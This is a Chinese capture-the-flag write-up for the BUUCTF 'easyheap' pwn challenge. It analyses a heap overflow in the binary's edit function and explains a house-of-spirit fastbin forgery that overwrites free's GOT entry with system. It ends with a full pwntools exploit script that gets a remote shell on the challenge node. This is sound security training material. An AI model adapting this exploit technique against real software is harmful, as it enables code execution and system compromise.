逆向分析
--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :
create 函数
heaparray[i] = malloc(size);
read_input(heaparray[i], size);
- heaparray[i]:存放 chunk 的地址。
- read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
edit 函数
read_input(heaparray[v2], v0);
- read_input(heaparray[v2], v0):向 chunk 中写入 v0 大小的内容,也就是说如果 v0 比 create 时的 size 大的话就会造成堆溢出。
delete 函数
free(heaparray[v1]);
heaparray[v1] = 0LL;
利用思路
- 创建3个 chunk ,chunk 0 1 2 ,chunk 1 的内容为 /bin/sh 。
- 我们可以用 house of spirit 技术,伪造 chunk 至 heaparray 附近,这样操作在 malloc fastbin 时需要绕过大小判断,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin 。
gdb-peda$ x /20xw 0x6020a0 - 3
0x60209d: 0x20000000 0x242d0af6 0x0000007f 0x00000000
0x6020ad: 0xe0000000 0x242d0ae8 0x0000007f 0x00000000
0x6020bd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020cd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020dd: 0x10000000 0x0000d7b0 0x80000000 0x0000d7b0
- 然后通过伪造的 fastbin 输入内容覆盖 chunk 0 的地址为 free_got 的地址。
- 通过编辑 chunk 0 将 free_got 地址改为 system 的地址。
- 这样 free chunk 1 就会执行 system('/bin/sh') 拿 shell。
exp 脚本
from pwn import *
#p = process('./easyheap')
p = remote('node3.buuoj.cn',26672)
elf =ELF('./easyheap')
context.log_level = 'debug'
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)
#gdb.attach(p)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
create(0x68,'aaaa')
create(0x68,'c')
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
#gdb.attach(p)
edit(0,len(payload),payload)
free(1)
#gdb.attach(p)
p.interactive()
get flag
内容来源
buuctf pwn | summerN's blog